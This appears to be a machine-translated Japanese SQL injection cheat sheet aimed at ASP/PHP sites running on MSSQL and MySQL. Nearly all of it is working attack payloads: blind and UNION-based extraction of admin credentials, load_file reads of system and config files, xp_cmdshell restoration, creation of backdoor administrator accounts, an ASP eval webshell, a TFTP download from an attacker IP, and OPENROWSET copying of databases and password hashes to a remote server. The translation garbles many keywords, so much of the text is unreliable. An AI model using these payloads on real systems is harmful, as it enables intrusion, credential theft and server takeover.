MSSQLクロスデータベースクエリ(臭い食べ物!) ダーク)
MS SQLの最後の一滴まで絞り出してください
SQL文参照やレコードセットオブジェクトについても詳細に説明しています
SQL Serverにおけるストアドプロシージャについて
mssqlバックアップでウェブシェルを作成します
SQL_Injection高度な応用
クロスサイトSQLインジェクション(laokai)
奇妙なSQL注入(AMANL)
SQL Serverアプリケーションにおける高度なSQLインジェクション
SQLインジェクションを使ってディレクトリをトラバースする方法
SQL注入技術の解説(翻訳:demonalex)
SQLデータベースへのいくつかの攻撃
SQLインジェクション攻撃技術(JSW)
SQL_Injection アドバンスドアプリケーション(APACHY)
SQL注入の珍しい手法(Guilin Veteran)
バックアップ・ア・シェル
php+mysqlの注入文構造について話してください(Heyhehehehe・≯Super· ヘイ)
MySQL(angel)を用いた高度なSQL注入
L'injection (My)SQL via PHP
Oracle SQL言語
SQL マニュアルインジェクション百科事典
前提条件としては、SQL Query AnalyzerおよびSqlExec Sunx Versionなどのツールが必要です ============================================================================================== 1. 注入点が存在するかどうかを判定する ; 1=1および1=2 2. テーブル名は管理者管理者ユーザーパスパスワードなどに過ぎません: そして0<>(*からcount(*)を選択する) および0<>(adminからcount(*)を選択する) — 管理者テーブルが存在するかどうかを判定します 3. アカウント数を推測する 0に出会ったら<正しいページ1に戻<アカウント数が1であることを示すエラーページを返す および0<(管理者からcount(*)を選択する) および1<(管理者からcount(*)を選択する) 4. フィールド名を推測する Len( ) 括弧内に思いつくフィールド名を加える。 そして1=(管理者からcount(*)を選択し、len(*)>0)– そして1=(管理者からcount(*)を選択し、len(ユーザーフィールド名名)>0) そして1=(Lever(_blank>passwordfield name)> 5. 各フィールドの長さを推測する。長さを推測する。正しいページが返されるまで>0を変換する。 そして1=(管理者からcount(*)を選択し、len(*)>0) そして1=(管理者からcount(*)を選択し、len(name)>6) エラーを選びます そして1=(adminからcount(*)を選択し、len(name)>5)正しい長さは6です 1=(Select(count(*)を管理者から選択し、len(name)=6)が正しい そして1=(adminからcount(*)を選択し、len(password)>11)が正しい 1=(管理者からcount(*)を選択し、len(password)>12)エラー長を12にします そして1=(管理者からcount(*)を選択し、len(password)=12)が正しい 6. キャラクターを当てる 1=(管理者からcount(*)を選択し、left(name,1)=a) — ユーザーのアカウントの最初の数字を推測します 1=(管理者からcount(*)を選択し、left(name,2)=ab)—ユーザーのアカウントの2桁目を推測します 一度に1文字ずつ追加して推測し、今当てた数字だけの数字を当てれば、口座番号が出てきます (1) テーブルの名前を当てる
使用された文: そして存在します(テーブル名から*を選択してください)
例えば: 存在します(管理者から*を選択してください)
ページが正しく反響していれば、ここで推測したテーブル名が正しいことになり、ページが間違っていれば、ここに書いたテーブル名が間違っていることを意味します
次にテーブルの名前を変え、推測を続けて当てます。
一般的に、よく使われるテーブル名には管理者、管理、ユーザー、またはツール実行に含まれます (2) フィールドを当てる
使用された文: そして存在します(テーブル名からフィールド名を選択してください)
例えば: 存在します(管理者からユーザー名を選択してください)
ここで、管理者テーブルが上記の正しい推測のテーブルであると仮定すると、ユーザー名フィールドが存在するかどうかを確認したいので、この文を使う必要があります。ページが
もし顔のエコーが正しければ、ここで推測したフィールド名が正しいこと、ページが間違っていれば、ここに書いたフィールド名が間違っていることを意味します
次にフィールド名を変え、推測を続けて当てます。
一般的に、一般的なフィールド名にはユーザー名、パスワード、ユーザー名、パス、名前、パス、pwd、usr、psd、その他のフィールドが含まれます (3)順序
order by は、そのページ上のフィールド数の合計を求めるためで、次のジョイントクエリに備えます (4) ユニオン・セレクト
1. ジョイントクエリをサポートしている場合、表示ビット http://www.xxx.com/product_show.asp?id=1 を見つけて1=2 ユニオンセレクトを行います
1,2,3,4,5,6,7,8,9,10,11 表示ビットが5,6だとします。 次に、管理者のユーザー名とパスワードに対応するフィールド名を、ここで表示ビットの位置に置き換えるだけでよい
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
管理者から1,2,3,4,admin_name,admin_pwd,7,8,9,10,11がバックグラウンドログインを見つけました 2. ジョイントクエリがサポートされていない場合 管理者のユーザー名とパスワードは、共同クエリ(ASCII逐語デコード)なしには取得できません 2 テーブル内のビット数を判断するために順番を使って判断し、うまくいかない場合はunion selectで1ビットずつ並べます。ここでは8ビットと仮定します 3 表示ビットを決定するためにジョイントクエリを用いましょう 4 表示ビットを使ってデータベース名、データベースバージョン、5.0以上を注入できます
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()), 8 5 データベース名を使えば、テーブル名スキーマ = に続いてデータベース名のHEX値を取得し、テーブル名を推測できます
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 6 解析されたテーブル名は管理者のテーブル名=テーブル名のHEX値を決定し、テーブル内のフィールドを推測します http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(不明瞭)
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 7 管理者テーブルのフィールドを取得したら、そのフィールドの内容を取得しましょう http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(不明瞭)
+ユーザー名、 0x5f,userpwd),8+from+pub_webmaster 8 ツールが背景をスキャンします:トローイの木馬を見つけたらログインしてアップロードし、robots.txtファイルが見つからなければアクセスできます 9 バックグラウンドが見つからなければ、MYSQL管理者のパスワードが露出してしまいます http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user, password), 8+from+mysql.user 10 パスにランダムにアクセスすると、フィードバックはIIS6の404デフォルトページとなり、ウェブサイトサーバーがWindows+IIS6+php+MySQL環境であることを示しています。 c:\\windows\\system32\\inetsrv\\MetaBase.xml このパスはウェブサイトの設定情報を取得できます。 構成文 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 11 コードを分析してバックグラウンドアドレスを見つけてください 最初のステップでは、表内のフィールドの長さを取得する必要があります 使用された記述: そして(テーブル名から上位1 len(フィールド名)を選択し>0 たとえば: そして(管理者から上位1 len(admin_name)を選択し>0 ページは通常通り表示され、フィールドの長さadmin_name 0より大きいので、以下を提出します。
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 ページには、フィールドが0から10の間で、長さが5であると二分法でエラーが表示されます 管理者のパスワードのフィールドの長さを同じ方法で決定すると、長さは16になります ステップ2 次に次のステップに進みましょう。フィールド内の特定の文字を取り、その文字のASCIIコードを取得します。これが使われます
声明: そして(テーブル名からトップ1のasc(mid(field name, N,1))を選択し>0 この文を別途見てみましょう。まず、最も内側のmid(ユーザー名、1,1)関数、すなわちadmin_name体Nの最初の文字です
は最初の数文字を遮断することを示します。 次に、外側のasc()関数は、中間関数に遮られた文字をASCIIコード(最外側の最上1)に変換し、最初の返却フィールドを表します
記録だ、 最後の「>0」は、変換されたASCIIコードをこの数字と比較し、最後の値を絶えず変えてインターセプトを得るためのものです
このキャラクターの詳細を把握しましょう ASCIIコード 提出:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 ページは通常通り表示されており、この文字のASCIIコードが30より大きいことを示しています。 提出:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 ページは通常通り表示されており、この文字のASCIIコードが90より大きいことを示しています。
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 この文字のASCIIコードは97です ASCII表を比較してください: したがって、最初の文字は「a」であると結論づけられます。 次に、2文字目のASCIIコードを判断します。
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 ページは通常通り表示され、文字のASCIIコードが90より大きいことを示し、最後の値は常に変更されます 同じ方法で管理者のパスワードが出てきて、結果は以下の通りでした:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 および1=(管理者から上位1カウント(*)を選択し、Asc(mid(pass,5,1))=51) – このクエリ文は中国人のユーザーとパスワードを推測_blank>。 以下の番号を中国のASSICコードに置き換えるだけです
キャラクターに変換してください。
users.id による群は1=1–www.myhack58.com users.id、users.username、users.password、users.privs が1=1– ; ユーザーの価値(666、攻撃者、フーバー、0xffff)を挿入する
ユニオンセレクト・トップ1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA。 列
TABLE_blank>_NAME=logintable- ユニオンセレクト・トップ1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA。 列
TABLE_blank>_NAME=logintable(COLUMN_blank>_NAME NOT IN)(login_blank>_id)- ユニオンセレクト・トップ1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA。 列
TABLE_blank>_NAME=logintable COLUMN_blank>_NAME NOT IN(そこにはありません)
(login_blank>_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name logintableより- UNION TOP 1パスワードはlogintableから選択 login_blank>_name=Rahul– _blank>サーバーがプレイしたパッチを見てください = 間違ったSP4パッチの黒いバーセーフティネット そして1=(選択@@VERSION)–
_blank>データベース接続アカウントの権限を確認すると正常に戻り、_blank>サーバーロールのシステム管理者権限であることが証明されます。 および1=(選択IS_blank>_SRVROLEMEMBER(システム管理者))–
データベースアカウントが接続されている_blank>を特定してください。 (SAアカウントを使って接続し、通常に戻る=接続したアカウントがSAであることを証明) そして sa=(選択System_blank>_user)– そして user_blank>_name()=dbo– および0<>(選択 user_blank>_name()–
削除xp_blank>_cmdshellか確認してください および1=(count(*) FROM master.dbo.sysobjects 選択 (xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshellは削除・復元され、絶対パス回復をサポートします ; 執行master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; 執行master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ==============================DB権限はウェブサイトの物理的なパスコードに公開されます
========================================================================== 1、ドロップテーブル[jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- テーブルを作成
2、 削除 [jm_tmp]; [jm_tmp]の役員master.dbo.xp_regread
『HKEY_LOCAL_MACHINE』,『SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots』,'/'--
サイトディレクトリをテーブルフィールドに挿入します
3、および([データ]の上位1名を選択。[データ]は[jm_tmp]からnvarchar(4000)として、char(124)を選択。[データ]の順番です。
desc)=0 '//露出場
4. テーブル[jm_tmp]をドロップする――このテーブルを削除します。 砲弾を回収する指揮官のために
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\その他の駅経路 ======================load_file()一般的に使われる機密情報=========================================== 1、 replace(load_file(0×2F6574632F7061737377764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100))、char(60)、char(32)) 上記の2つは、コードを完全に表示するPHPファイルを閲覧するためのものです。 「space」ではなく「space」の代わりに「<」が戻るなど、置き換えられない文字もあります
ウェブページ。 そしてコードは閲覧できません。
3. load_file(char(47))はFreeBSDおよびSunosシステムのルートディレクトリを一覧化できます
4. /etc/httpd/conf/httpd.conf または /usr/local/apche/conf/httpd.conf でLinux APACHE仮想ホスト設定ファイルを閲覧できます。
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf または C:\apache\conf\httpd.conf で WINDOWS 表示
System Apacheファイル
6. c:/Resin-3.0.14/conf/resin.conf jspが開発したウェブサイトの樹脂ファイル設定情報を閲覧できます。
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf でLinuxシステム上で設定されたJSP仮想ホストを閲覧できます
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml IISの仮想ホスト設定ファイルを表示
12. /usr/local/resin-3.0.22/conf/resin.conf で3.0.22のRESIN設定ファイルを閲覧できます。
13. /usr/local/resin-pro-3.0.22/conf/resin.conf 上記と同じです
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtual host
15. /etc/sysconfig/iptables はファイアウォールポリシーに依存します
16. /usr/local/app/php5 b/php.ini PHP対応設定
17. /etc/my.cnf MYSQL 設定ファイル
18. /etc/redhat-releaseシステム版Red Hat
19 、C:\mysql\data\mysql\user. MYDはMYSQLシステムのユーザーパスワードに存在します
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 でIPを表示できます。
21. /usr/local/app/php5 b/php.ini //PHP 関連設定
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtual website settings
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue はLinuxカーネルの配布情報を表示します
26、/etc/ftpuser
27. LINUXのuser.bash_historyまたは.bash_profileの操作ログファイルを確認してください。
28、 など ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== 自分で逆PIG実験をしてみてください ; マスターを使い、 知@sを宣言しろ; exec sp_blank>_oacreate "wscrip{filter}t.shell"、@s out; エグゼクティブ
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
アカウントを追加してください ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell、@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
仮想ディレクトリEディスクの作成: ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
アクセス属性:(ウェブシェルへの書き込みを含む) Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
ライブラリをバーストする特別な_blank>トリック::%5c=\ または %5 を / と \ で修正してコミットする方法です。 および0<>(NewTableからトップ1パスを選択する)–
データベース名を取得してください(1から5はシステムのIDで、6以上は判断できます) および1=(master.dbo.sysdatabasesから名前を選択し、dbid=7)– および0<>(master.dbo.sysdatabasesからcount(*)を選択し、name>1 および dbid=6) 順番にdbitを送信 = 7,8,9... さらに_blank>データベース名を入手
そして0<>(bbs.dbo.sysobjectsからxtype=Uの上の名前を選択する)は管理者を前提にテーブルに突入しました。 および0<>(bbs.dbo.sysobjectsからxtype=you、名前(管理者にない名前)を選択する)。
他のテーブル。 そして0<>(bbs.dbo.sysobjectsからcount(*)を選択し、xtype=you、name=admin UID>(str(id))))UIDの数値値は18779569 uid=id と仮定します そして0<>(bbs.dbo.syscolumnsからid=18779569)から「top 1 name」を選択し、admin field, false を取得します
user_blank>_idにセット および0<>(bbs.dbo.syscolumnsからid=18779569かつ名前にない名前を選択 (同,...)) 他の分野を露出させるために 0<(BBS.dbo.admin の username>1 のuser_blank>_id選択)を使ってユーザー名を取得します その代わりにパスワード_blank>入手できます。。。。。 ユーザー名やパスワードなどのフィールドがあるuser_blank>_id
および0<>(master.dbo.sysdatabasesからcount(*)を選択し、name>1 および dbid=6) そして0<>(bbs.dbo.sysobjects からxtype=Uの上の名前を選択し、テーブル名を取得するために) および0<>(bbs.dbo.sysobjectsからxtype=you、名前はin(Address)にない名前を選択する) そして0<>(bbs.dbo.sysobjects からcount(*)を選択し、xtype=you と name=admin and uid>(str(id)))
ID値を決定してください および0<>(BBS.dbo.syscolumnsからid=773577794の上の名前を選択してください)すべてのフィールド
?id=-1 ユニオン 管理者から 1,2,3,4,5,6,7,8,9,10,11,12,13,* 管理者から選択 ?id=-1 ユニオン 管理者から1,2,3,4,5,6,7,8,*,9,10,11,12,13を選択し(ユニオン、アクセスも使いやすい)
ウェブパスを手に入れましょう ; テーブル[DBO]を作成します。 [交換] ([swappass][char](255)); – および(Swapからトップ1のスワップパスを選択する)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) 宣言 @test varchar(20) exec
師匠... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE、@key=システム
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insert into paths(path) values(@test)– ; Ku1を使いましょう。 – ; create table cmd(strイメージ); – 画像タイプのテーブルコマンドを作成する 1. xp_cmdshell拡張プロセスを取り除く方法は、次の文を使うことです。
もし存在する場合(dbo.sysobjects から * を選択 、id=object_id(N'[dbo].[ xpcmdshell]')および
OBJECTPROPERTY(id,N'IsExtendedProc')=1) エグゼクティブsp_dropextendedproc N'[dbo]。 [xp_cmdshell]」
2. 拡張プロセスxp_cmdshell追加方法は、次の文を使うことです。
(1)SQLクエリアナライザー
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) まず、SqlExec Sunx VersionのFormatオプションに%を入力し、CMDオプションに入力します
sp_addextendedproc「xp_cmdshell」「xpsql70.dll」
削除
sp_dropextendedproc 『xp_cmdshell』
(3)MSSQL2000
sp_addextendedproc「xp_cmdshell」「xplog70.dll」 xp_blank>_cmdshellテストプロセスがあります: ; エグゼクティブマスター... xp_blank>_cmdshell ; 幹部master.dbo.sp_blank>_addlogin Jiaoniang$; – SQL アカウントの追加 ; 執行master.dbo.sp_blank>_password null、Jiaoniang$,1866574; – ; Exec master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sysadmin; – ; Exec master.dbo.xp_blank>_cmdshell net user Jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Exec master.dbo.xp_blank>_cmdshell Net LocalGroup 管理者 Jiaoniang$ /add; – エグゼクティブマスター... xp_blank>_servicecontrolサービスを開始し、サービスを開始_blank>スケジュールしてください エグゼクティブマスター... xp_blank>_servicecontrol始めろ、サーバー ; @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell を宣言し、@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell、@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; エグゼクティブマスター... xp_blank>_cmdshell tftp -i youip get file.exe – TFTPを使ってファイルをアップロード
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dShell Exec @a dir c:\ ; @aを宣言し、 set @a=db_blank>_name(); バックアップデータベース@a disk = あなたのIP 共有ディレクトリbak.dat 制限があれば、はい。 Select * from OpenRowSet(_blank>sqloleDB,Server; SA; OKを選んでください! エグゼクティブ
master.dbo.sp_blank>_addloginハックス)
クエリ構造: ニュースから * 選択 AND topic=... そして。。。。。 adminand 1=(ユーザーからcount(*)を選択し、ここでユーザー名=被害者、右(左(userpass,01),1)=1)
ユーザーパス<> セレクト123; – ; マスターを使い、 – :a または名前、例えばfff%; – ffffという名前のユーザーが表示されます。 および1<>([ユーザー]からcount(email)を選択する); – ; 更新 [ユーザー] set email=(sysobjectsからxtype=youとstatus>0)からトップ1名を選択する
name=ffff; – ; 更新 [ユーザー] set email=(sysobjectsからxtype=you、name=adの上位1IDを選択する)
name=ffff; – ; 更新 [users] set email=(sysobjectsからxtype=youとid>581577110 のトップ1名を選択する)
ここで name=ffff; – ; 更新 [ユーザー] set email=(パスワードからtop 1 count(id)を選択する) ここで name=ffff; – ; 更新 [ユーザー] set email=(パスワードからtop 1 pwdを選択し、id=2) ここでname=ffff; – ; 更新 [ユーザー] set email=(パスワードから上1名を選択し、id=2)ここでname=FFFF; – 上記の文は、_blank>データベースの最初のユーザーテーブルを取得し、FFFFユーザーのメールフィールドにテーブル名を入力することです。 ffffのユーザープロファイルを見ることで、最初のADというテーブルを取得できます 次に、テーブル名adに基づいてこのテーブルのIDを取得し、2つ目のテーブルの名前を取得します
ユーザーの値(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– ユーザーの価値に挿入(667,123,123,0xffff)– ユーザーに値(123、admin–、password、0xffff)を挿入します。 ; およびユーザー>0 ; および(sysobjectsからcount(*)を選択する)>0 ; そして(mysysobjectsからcount(*)を選択)>0 // access_blank>データベース用
データテーブルの名前を列挙します ; 更新 aaa set aa=(sysobjectsからxtype=you および status>0 のトップ1名を選択する); – ここで最初のテーブル名がAAAのフィールドに更新されます。 最初のテーブルを読み、2番目のテーブルは条件の後に名前を加えて読みます<>そのテーブルの名前を付けます。 ; 更新:aaa set aa=(sysobjectsからxtype=youとstatus>0を選べば、
名前<>投票); – するとid=1552となり、存在します(aaaから*を選択し、aaa>5) 2つ目の表を一つずつ読み上げて、なくなるまで読み上げます。 リードフィールドは次のようになります: ; 更新 aaa セット aaa=(select top 1 col_blank>_name(object_blank>_id(table名)1)); – するとid=152 and exists(aaa>5 の *を aaa から選択)がエラーとなり、フィールド名が取得されます ; 更新 aaa セット aaa=(Select top 1 col_blank>_name(object_blank>_id(table名)2)); – するとid=152 and exists(aaa>5 の *を aaa から選択)がエラーとなり、フィールド名が取得されます
[データテーブル名を取得する][フィールド値をテーブル名に更新し、その値を読み出してテーブル名を取得する] Update table name set field=(sysobjectsからxtype=you、status>0 [ and name<>
得られるテーブル名は、1プラス1を探す]) [ここで条件] sysオブジェクトからxtype=youと、上の1個の名前を選択します
status>0 および名前 not in(table1, table2,...) データベース管理者アカウントとシステム管理者アカウントの作成_blank> _blank>SQLSERVERを通じた脆弱性注入[現在のアカウントはSYSADMINグループでなければなりません]
[Datatableフィールド名を取得する][フィールド値をフィールド名に更新し、その値を読み出してフィールド名を取得する] テーブル名を更新 セット フィールド=(トップ1を選択してください col_blank>_name(object_blank>_id (データテーブル名からクエリへ)、フィールド列
例えば: 1) [ ここで条件]
IDS検出の回避【変数を使った】 ; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dShell Exec @a dir c:\
1. リモート_blank>データベースを開く 基本構文 select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123、table1から*を選択してください ) パラメータ:(1) OLEDBプロバイダー名 2. 接続文字列パラメータは、接続可能な任意のポートであってよい。例えば select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,
表から* 3. ターゲットホストの_blank>データベース全体をコピーし、すべてのリモートテーブルをローカルテーブルに挿入します。
基本構文: OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123、テーブルから*を選択)選択
* 表2より この行文は、ターゲットホストのtable2テーブルからリモート_blank>データベースのtable1テーブルにすべてのデータをコピーします。 実用的な適切な修理
接続文字列のIPアドレスとポートを必要な場所に変更してください。例えば: OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* 表1から) 選択 * 表2から OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* _blank>_sysdatabasesより) Master.dbo.sysdatabasesから*を選択してください OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* _blank>_sysobjectsより) user_blank>_database.dbo.sysobjects から * を選択 OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* _blank>_syscolumnsより) user_blank>_database.dbo.syscolumns から * を選択 データベース_blank>複製: OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* テーブル1から) 選択 * データベースから... 表1 OPENROWSET(SQLOLEDB,uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; ,選択
* 表2から) 選択 * データベースから... 表2
ハッシュテーブル(HASH)のログイン_blank>パスワードをコピーするパスワードのハッシュはsysxloginsに保存されます。 その方法は以下の通りです: OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; ネットワーク=DBMSSOCN; アドレス=192.168.0.1,1433; 、_blank>_sysxlogins から * を選択)
データベース.dbo.sysxloginsから*を選択してください 一度ハッシュを手に入れたら、力技で解決できます。
ディレクトリをトラバースするには:まず一時テーブルを作成します:temp ; テーブルtemp(id nvarchar(255)、num1 nvarchar(255)、num2 nvarchar(255)、num3 nvarchar(255)); – ; 臨時幹部master.dbo.xp_blank>_availablemedia; – すべての現在のドライブを取得 ; insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\; – サブディレクトリのリストを入手 ; insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – すべてのサブディレクトリのディレクトリツリー構造を取得すること、
インチを一時表に統合します ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – ファイルを表示
内容 ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree 適用権限
